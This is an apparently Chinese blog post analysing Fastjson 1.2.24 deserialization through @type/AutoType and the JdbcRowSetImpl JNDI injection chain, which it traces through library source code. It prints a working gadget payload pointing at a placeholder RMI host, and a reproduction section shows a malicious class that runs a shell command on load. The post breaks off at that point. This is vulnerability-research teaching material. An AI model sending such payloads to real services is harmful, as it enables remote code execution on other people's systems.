Fastjson

JSON 对我们来说并不陌生。作为一种轻量级的数据交换格式,它具有结构清晰、易于读写以及跨语言等特点,因此被广泛应用于网络传输、配置文件和数据存储等场景。在 Java 应用中,通常需要借助序列化与反序列化组件,实现 JSON 文本与 Java 对象之间的转换。

{

        "name":"BossFrank",

        "age":23,

        "media":["CSDN","bilibili","Github"]

}

Fastjson

fastjson是一个由阿里开发的一个开源Java类库,可以将Java对象序列化为JSON格式,也可以将JSON字符串反序列化为Java对象。Fastjson可以操作任何Java对象,即使是一些预先存在的没有源码的对象。

Fastjson序列化/反序列化原理

Fastjson 并不依赖 Java 原生的 ObjectOutputStream 和 ObjectInputStream 机制,而是通过反射、方法调用以及动态生成的访问逻辑,实现 Java 对象与 JSON 文本之间的转换。

在序列化过程中,Fastjson 通常通过 Getter 方法或直接读取对象字段,将 Java 对象转换为 JSON 数据;在反序列化过程中,则会解析 JSON 中的字段,并通过构造方法、Setter 方法或直接字段赋值等方式创建和填充 Java 对象。

如果只基于setter/getter方法进行序列化和反序列化会带来什么问题呢?

假设存在一个 Fruit 接口,以及两个实现该接口的类:

import java.math.BigDecimal;

interface Fruit {
}

class Apple implements Fruit {
    private BigDecimal price;

    // 省略 Setter、Getter 和 toString 方法
}

class IPhone implements Fruit {
    private BigDecimal price;

    // 省略 Setter、Getter 和 toString 方法
}

当 Apple 对象的 price 为 0.5 时,使用 Fastjson 默认配置进行序列化,得到的 JSON 通常为:

{"price":0.5}

当 IPhone 对象的 price 为 5000 时,序列化结果通常为:

{"price":5000}

默认情况下,JSON 中只会保留对象的属性和值,不会记录对象实现了哪个接口,也不会自动保留 Apple 或 IPhone 等具体类型信息。因此,上述两个对象序列化后的 JSON 结构基本相同,仅凭 JSON 中的 price 字段,反序列化程序无法判断原对象的具体类型。

为了在序列化结果中保留具体的 Java 类型,Fastjson 可以写入额外的类型信息。启用相应类型信息功能后,结果可能类似于:

{
  "@type": "com.example.Apple",
  "price": 0.5
}

其中,@type 表示对象的具体类型。反序列化时,Fastjson 可以根据该信息确定需要创建的 Java 类,这也是理解 AutoType 机制及其历史安全风险的基础。

fastjson 1.2.24 JdbcRowSetImpl Gadget

为了在 JSON 中保留 Java 对象的具体类型,并使程序在反序列化接口、抽象类或 Object 类型时能够还原原有的实现类,Fastjson 提供了类型信息写入和 AutoType 识别机制。序列化时,具体类名可以被写入 JSON 的 @type 字段;反序列化时,AutoType 根据该字段确定需要实例化的 Java 类型。

@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。

因为fastjson在处理以@type形式传入的类的时候,会默认调用该类的set/get/is函数,因此我们在寻找利用类的时候思路如下:

1.类的成员变量可以控制
2.想办法在调用类的某个set/get/is函数的时候造成命令执行

于是便找到了JdbcRowSetImpl类(jdk8u/jdk/src/share/classes/com/sun/rowset/JdbcRowSetImpl.java at master · openjdk/jdk8u · GitHub)

反序列化JdbcRowSetImpl类的时候会调用其setter方法

其中就有setAutoCommit方法

    public void setAutoCommit(boolean autoCommit) throws SQLException {
        // The connection object should be there
        // in order to commit the connection handle on or off.

        if(conn != null) {
           conn.setAutoCommit(autoCommit);
        } else {
           // Coming here means the connection object is null.
           // So generate a connection handle internally, since
           // a JdbcRowSet is always connected to a db, it is fine
           // to get a handle to the connection.

           // Get hold of a connection handle
           // and change the autcommit as passesd.
           conn = connect();

           // After setting the below the conn.getAutoCommit()
           // should return the same value.
           conn.setAutoCommit(autoCommit);

        }
    }

这里调用到了connect()

    private Connection connect() throws SQLException {

        // Get a JDBC connection.

        // First check for Connection handle object as such if
        // "this" initialized  using conn.

        if(conn != null) {
            return conn;

        } else if (getDataSourceName() != null) {

            // Connect using JNDI.
            try {
                Context ctx = new InitialContext();
                DataSource ds = (DataSource)ctx.lookup
                    (getDataSourceName());
                //return ds.getConnection(getUsername(),getPassword());

                if(getUsername() != null && !getUsername().equals("")) {
                     return ds.getConnection(getUsername(),getPassword());
                } else {
                     return ds.getConnection();
                }
            }
            catch (javax.naming.NamingException ex) {
                throw new SQLException(resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }

        } else if (getUrl() != null) {
            // Check only for getUrl() != null because
            // user, passwd can be null
            // Connect using the driver manager.

            return DriverManager.getConnection
                    (getUrl(), getUsername(), getPassword());
        }
        else {
            return null;
        }

    }

顺着逻辑往下看就能看到InitalContext.loopup(getDataSourceName())调用。

这里有个问题就是怎么才能走到else if (getDataSourceName() != null)这个分支,一样通过fastjson反序列化调用setter方法的特性,JSON中设置dataSourceName属性,实际上会调用setDataSourceName(name)方法将值写入dataSource从而实现getDataSourceName() != null

传个payload看看具体调用链

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "rmi://LAB_JNDI_HOST:1099/Probe",
  "autoCommit": true
}

JdbcRowSetImpl.setDataSourceName(rmi://LAB_JNDI_HOST:1099/Probe) –> JdbcRowSetImpl.setAutoCommit(true) –> JdbcRowSetImpl.connect() –> InitalContext.loopup(rmi://LAB_JNDI_HOST:1099/Probe)造成JNDI注入。

知道后置阶段的调用链后,我们还需要知道fastjson 1.2.24前置阶段的入口点,究竟是如何导致的fastjson反序列化(Fastjson源码 https://github.com/alibaba/fastjson/blob/1.2.24/src/main/java/com/alibaba/fastjson/JSON.java)

从JSON.parse()函数开始看起

    public static Object parse(String text) {
        return parse(text, DEFAULT_PARSER_FEATURE);
    }

    public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        }

        DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
        Object value = parser.parse();

        parser.handleResovleTask(value);

        parser.close();

        return value;
    }

创建的DefaultJSONParser是真正负责解析JSON的对象,ParserConfig负责保存反序列化器配置,以及根据Java类型选择对应的ObjectDeserializer。创建后执行parser.parse();

JSON.parser() –> DefaultJSONParser.parse()
DefaultJSONParser.parse() –> DefaultJSONParser.parse(null)

(https://github.com/alibaba/fastjson/blob/1.2.24/src/main/java/com/alibaba/fastjson/parser/DefaultJSONParser.java)

public Object parse() {
        return parse(null);
    }
public Object parse(Object fieldName) {
    final JSONLexer lexer = this.lexer;

    switch (lexer.token()) {
        // ...
        case LBRACE:
            JSONObject object = new JSONObject(
                lexer.isEnabled(Feature.OrderedField)
            );

            return parseObject(object, fieldName);
        // ...
    }
}

当输入是一个JSON对象时,词法分析器lexer会把开头的{识别为JSONToken.LBRACE

DefaultJSONParser.parse(null) –> case LBRACE –> DefaultJSONParser.parseObject()

DefaultJSONParser:320-322
                if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                    String typeName = lexer.scanSymbol(symbolTable, '"');
                    Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

这里有这样的判断解释了DefaultJSONParser如何识别@type

条件一:key == JSON.DEFAULT_TYPE_KEY ,JSON.DEFAULT_TYPE_KEY默认对应”@type”
条件二:!lexer.isEnabled(Feature.DisableSpecialKeyDetect),如果启用了DisableSpecialKeyDetect,这里就不会按特殊类型字段处理@type,因此不是所有Fastjson配置都会自动识别并处理@type。

当两个条件都符合的时候进入到关键的调用

Class<?> clazz = TypeUtils.loadClass(
    typeName,
    config.getDefaultClassLoader()
);

typeName原本只是JSON中的一个字符串。TypeUtils.loadClass()则尝试将这个字符串解析为JVM中的Class对象。Class对象则在反射中非常常见,通过Class对象我们可以通过forName获取对应的类、getMethod获取对应类中的方法,invoke调用对应的方法。

DefaultJSONParser:355-368
 this.setResolveStatus(TypeNameRedirect);

                    if (this.context != null && !(fieldName instanceof Integer)) {
                        this.popContext();
                    }
                    
                    if (object.size() > 0) {
                        Object newObj = TypeUtils.cast(object, clazz, this.config);
                        this.parseObject(newObj);
                        return newObj;
                    }

                    ObjectDeserializer deserializer = config.getDeserializer(clazz);#第一步:根据刚才得到Class<?>,获取对应的反序列化器
                    return deserializer.deserialze(this, clazz, fieldName);#第二步把剩余的JSON解析过程交给目标类型的反序列化器,对于普通的JavaBean会进入JavaBeanDeserialzer.deserialze()
                }

DefaultJSONParser.parseObject() 发现 @type –> TypeUtils.loadClass() –>ParserConfig.getDeserializer() –> JavaBeanDeserializer(ParserConfig config, Class<?> clazz, Type type)(https://github.com/alibaba/fastjson/blob/1.2.24/src/main/java/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java)

JavaBeanDeserializer:38-40#根据参数列表调用构造方法
    public JavaBeanDeserializer(ParserConfig config, Class<?> clazz, Type type){
        this(config, JavaBeanInfo.build(clazz, type, config.propertyNamingStrategy));
    }

JavaBeanInfo.build()负责分析JavaBean的结构,包括构造方法、字段、Setter等,Fastjson通过JavaBeanInfo和FieldInfo保存这些信息。

例如一个类

public class TestBean {
    private boolean autoCommit;

    public void setAutoCommit(boolean value) {
        this.autoCommit = value;
    }
}

Fastjson可以建立类似这样的元数据

JavaBeanInfo
    │
    ├── clazz = TestBean.class
    │
    ├── defaultConstructor
    │
    └── fields
          │
          └── FieldInfo
                ├── name = "autoCommit"
                ├── fieldClass = boolean.class
                └── method = setAutoCommit(boolean)

JavaBeanDeserializer(ParserConfig config, Class<?> clazz, Type type) –> JavaBeanDeserializer(ParserConfig config, JavaBeanInfo beanInfo)

接下来JavaBeanDeserializer使用这些FiledInfo创建FieldDeserializer,为每个属性创建对应的反序列化器。

JavaBeanDeserializer.deserialze:38-40
    public JavaBeanDeserializer(ParserConfig config, JavaBeanInfo beanInfo){
        this.clazz = beanInfo.clazz;
        this.beanInfo = beanInfo;
        
        sortedFieldDeserializers = new FieldDeserializer[beanInfo.sortedFields.length];
        for (int i = 0, size = beanInfo.sortedFields.length; i < size; ++i) {
            FieldInfo fieldInfo = beanInfo.sortedFields[i];
            FieldDeserializer fieldDeserializer = config.createFieldDeserializer(config, beanInfo, fieldInfo);

            sortedFieldDeserializers[i] = fieldDeserializer;
        }

        fieldDeserializers = new FieldDeserializer[beanInfo.fields.length];
        for (int i = 0, size = beanInfo.fields.length; i < size; ++i) {
            FieldInfo fieldInfo = beanInfo.fields[i];
            FieldDeserializer fieldDeserializer = getFieldDeserializer(fieldInfo.name);
            fieldDeserializers[i] = fieldDeserializer;
        }
    }

完成反序列化的初始步骤后TypeUtils.loadClass() –>ParserConfig.getDeserializer() –> JavaBeanDeserializer.deserialze(DefaultJSONParser parser, Type type, Object fieldName) –> JavaBeanDeserializer.deserialze(DefaultJSONParser parser, Type type, Object fieldName, int features)

JavaBeanDeserializer:183-189
    public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
        return deserialze(parser, type, fieldName, 0);
    }

    public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, int features) {
        return deserialze(parser, type, fieldName, null, features);
    }
JavaBeanDeserializer:266-270
    protected <T> T deserialze(DefaultJSONParser parser, // 
                               Type type, // 
                               Object fieldName, // 
                               Object object, //
                               int features)

反序列化在解析属性的过程中,会检查实例是否已经创建

JavaBeanDeserializer:569-575
                if (object == null && fieldValues == null) {
                    object = createInstance(parser, type);
                    if (object == null) {
                        fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length);
                    }
                    childContext = parser.setContext(context, object, fieldName);
                }

createInstance()会根据目标的构造方式创建实例,这里创建的就是接下来接收属性的JavaBean对象。

JavaBeanDeserializer:108
object = constructor.newInstance();

有点像前面反射中我们就讲过反射调用无参构造方法直接class.newInstance就可以了当遇到没有无参构造方法需要调用有参构造的时候就需要去getConstructor调用对应的有参构造方法后newInstance,

随后是字段处理逻辑有快速匹配和通用属性匹配两种,最后两种字段处理逻辑最终都可能到达

fieldDeser.setValue(object, fieldValue);

JavaBeanDeserializer.deserialze() –> FieldDeserializer.setValue(Object object, Object value)这里才是最终setter方法调用的位置

FieldDeserializer:96
                    method.invoke(object, value);

根据前面的JdbcRowSetImpl的分析,JSON只需要设置dataSourceName和autoCommit两个方法,Fastjson 1.2.24反序列化的时候就会调用其对应的setter方法

完整调用链

graph TD
    A["JSON.parse"] --> B["DefaultJSONParser"]
    B --> C["parseObject"]
    C --> D["识别 @type"]
    D --> E["TypeUtils.loadClass"]
    E --> F["ParserConfig.getDeserializer"]

    F --> G{"反序列化器是否存在"}
    G -->|否| H["JavaBeanDeserializer 构造"]
    H --> I["JavaBeanInfo.build"]
    I --> J["扫描构造方法和 Setter"]
    J --> K["createFieldDeserializer"]
    K --> L["保存字段反序列化器"]
    L --> M["返回 ObjectDeserializer"]
    G -->|是| M

    M --> N["JavaBeanDeserializer.deserialze"]
    N --> O["createInstance"]
    O --> P["Constructor.newInstance"]
    P --> Q["创建 JdbcRowSetImpl 对象"]

    Q --> R{"字段解析"}
    R -->|快速解析| S["scanFieldString / scanFieldBoolean"]
    R -->|通用解析| T["JavaBeanDeserializer.parseField"]
    T --> U["DefaultFieldDeserializer.parseField"]

    S --> V["FieldDeserializer.setValue"]
    U --> V
    V --> W["Method.invoke"]

    W --> X["setDataSourceName"]
    X --> Y["保存 dataSource"]
    Y --> Z["继续绑定 autoCommit"]
    Z --> AA["setAutoCommit"]

    AA --> AB{"conn 是否为 null"}
    AB -->|是| AC["connect"]
    AC --> AD{"dataSourceName 是否为空"}
    AD -->|否| AE["new InitialContext"]
    AE --> AF["InitialContext.lookup"]

复现

准备好的恶意Java文件编译为.class

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇